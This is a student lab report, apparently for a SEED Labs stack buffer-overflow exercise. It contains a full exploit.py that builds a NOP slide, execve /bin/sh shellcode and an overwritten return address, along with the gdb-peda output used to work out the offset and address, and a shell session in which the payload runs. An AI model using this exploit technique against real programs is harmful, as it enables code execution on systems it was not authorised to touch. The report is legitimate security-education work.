Mjukvarusäkerhet labb 4

Jag tog bort vissa kommentarer i både stack.c och exploit.py

```python
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode

shellcode= (
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
"\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))


# Put the shellcode somewhere in the payload
start = 517  - len(shellcode)    # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x7fffffffd810 + 1728    # Change this number
offset = 208 + (8 * 1)             # Change this number

L = 8
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

```

Shellcode: Is received from the shellcode folder. It was copy pasted from the x86_64 part of the if case.

Start: we want the shellcode to be at the end of all the NOPs so I put it at 517 – len(shellcode)

L: Is equal to 8 since its 64-bit system.

Ret and *offset* are decided from this screenshot

```
Legend: code, data, rodata, value
17          strcpy(buffer, str);
gdb-peda$ p $rbp
$1 = (void *) 0x7fffffffd8e0
gdb-peda$ p &buffer
$2 = (char (*)[200]) 0x7fffffffd810
gdb-peda$ p/d 0x7fffffffd8e0 - 0x7fffffffd810
$3 = 208
gdb-peda$ quit
[03/21/23]seed@VM:~/.../code$ gdb stack-L3-dbg
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
```

Finally the + 1728 comes from some calculations. The start address is 0x7fffffffd810. It matches the rip register.

```
Legend: code, data, rodata, value
0x00007fffffffd810 in ?? ()
gdb-peda$ i r
rax            0x1                 0x1
rbx            0x401350            0x401350
rcx            0x9090909090909090  0x9090909090909090
rdx            0xe                 0xe
rsi            0x7fffffffdde0      0x7fffffffdde0
rdi            0x7fffffffd8e0      0x7fffffffd8e0
rbp            0x9090909090909090  0x9090909090909090
rsp            0x7fffffffd8f0      0x7fffffffd8f0
r8             0x0                 0x0
r9             0x7fffffffd81090    0x7fffffffd81090
r10            0xfffffffffffffb45  0xfffffffffffffb45
r11            0x7ffff7f50ba0      0x7ffff7f50ba0
r12            0x401130            0x401130
r13            0x7fffffffe020      0x7fffffffe020
r14            0x0                 0x0
r15            0x0                 0x0
rip            0x7fffffffd810      0x7fffffffd810
eflags         0x206               [ PF IF ]
cs             0x33                0x33
ss             0x2b                0x2b
ds             0x0                 0x0
es             0x0                 0x0
fs             0x0                 0x0
gs             0x0                 0x0
gdb-peda$ x/x 0x7fffffffd810
0x7fffffffd810: 0x9090909090909090
gdb-peda$ x/500x 0x7fffffffd810
0x7fffffffd810: 0x9090909090909090      0x9090909090909090
0x7fffffffd820: 0x9090909090909090      0x9090909090909090
```

More output from the x/500x 0x7fffffffd810 command in the next picture:

```
0x7fffffffde30: 0x9090909090909090      0x9090909090909090
0x7fffffffde40: 0x9090909090909090      0x9090909090909090
0x7fffffffde50: 0x9090909090909090      0x9090909090909090
0x7fffffffde60: 0x9090909090909090      0x9090909090909090
0x7fffffffde70: 0x9090909090909090      0x9090909090909090
0x7fffffffde80: 0x9090909090909090      0x9090909090909090
0x7fffffffde90: 0x9090909090909090      0x9090909090909090
0x7fffffffdea0: 0x9090909090909090      0x9090909090909090
0x7fffffffdeb0: 0x9090909090909090      0x9090909090909090
0x7fffffffdec0: 0x9090909090909090      0x9090909090909090
0x7fffffffded0: 0x9090909090909090      0x9090909090909090
0x7fffffffdee0: 0x9090909090909090      0x9090909090909090
0x7fffffffdef0: 0x4890909090909090      0x69622fb84852d231
0x7fffffffdf00: 0x89485068732f2f6e      0x3148e689485752e7
0x7fffffffdf10: 0x000000050f3bb0c0      0x0000000000401130
0x7fffffffdf20: 0x00000205ffffe020      0x00000000004042a0
```

We want to reach the 0x7fffffffdef0 or to make it easier we can just find a random NOP address inside the NOP slide. I chose the address 0x7fffffffded0 and subtracted the RBP address (0x7fffffffd810) which resulted in 6C0 or in decimal values: 1728

Lastly to get a root terminal I did the following commands:

```
gdb-peda$ quit
[03/21/23]seed@VM:~/.../code$ rm badfile
[03/21/23]seed@VM:~/.../code$
```

And

```
[03/21/23]seed@VM:~/.../code$ ./stack-L3
Input size: 517
$ info
info: Terminal type '(null)' is not smart enough to run Info
$ whoami
seed
$ dees
/bin//sh: 3: dees: not found
$ nu tar ja bort din databas nayeb
/bin//sh: 4: nu: not found
$ exit
[03/21/23]seed@VM:~/.../code$
```

Thus, I have successfully hacked 😈